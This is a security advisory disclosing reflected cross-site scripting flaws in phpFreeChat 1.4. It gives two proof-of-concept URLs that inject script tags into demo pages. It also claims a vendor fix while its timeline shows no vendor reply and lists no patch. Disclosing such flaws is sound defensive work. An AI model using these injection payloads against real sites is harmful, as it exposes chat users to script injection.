Information
--------------------
Name :  XSS Vulnerabilities in phpFreeChat
Software :  phpFreeChat 1.4 and possibly below.
Vendor Homepage :  http://www.phpfreechat.net
Vulnerability Type :  Cross-Site Scripting
Severity :  Critical
Researcher :  Mesut Timur
Advisory Reference :  NS-12-010

Description
--------------------
phpFreeChat is a free, simple to install, fast, customizable and multi
languages chat that uses a simple filesystem for message and nickname
storage.

Details
--------------------
phpFreeChat is affected by XSS vulnerabilities in version 1.4.

Example PoC urls are as follows :
http://example.com/demo/demo21_with_hardcoded_urls.php?'"­­--></style></script><script>alert(0x000A26)</script>
http://example.com/demo/demo2_simple_with_params.php?'"­­--></style></script><script>alert(0x000855)</script>

You can read the full article about Cross-Site Scripting
vulnerabilities from here :

Cross-site Scripting
Solution
--------------------
The vendor fixed this vulnerability in the new version. Please see the
references.

Advisory Timeline
--------------------
29/06/2012 - First contact: No reply
14/08/2012 - Second contact: Sent the vulnerability details
24/09/2012 - Ask for patch/fix: No reply
02/10/2012 - Vulnerability Released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch : -
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-vulnerabilities-in-phpfreechat/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/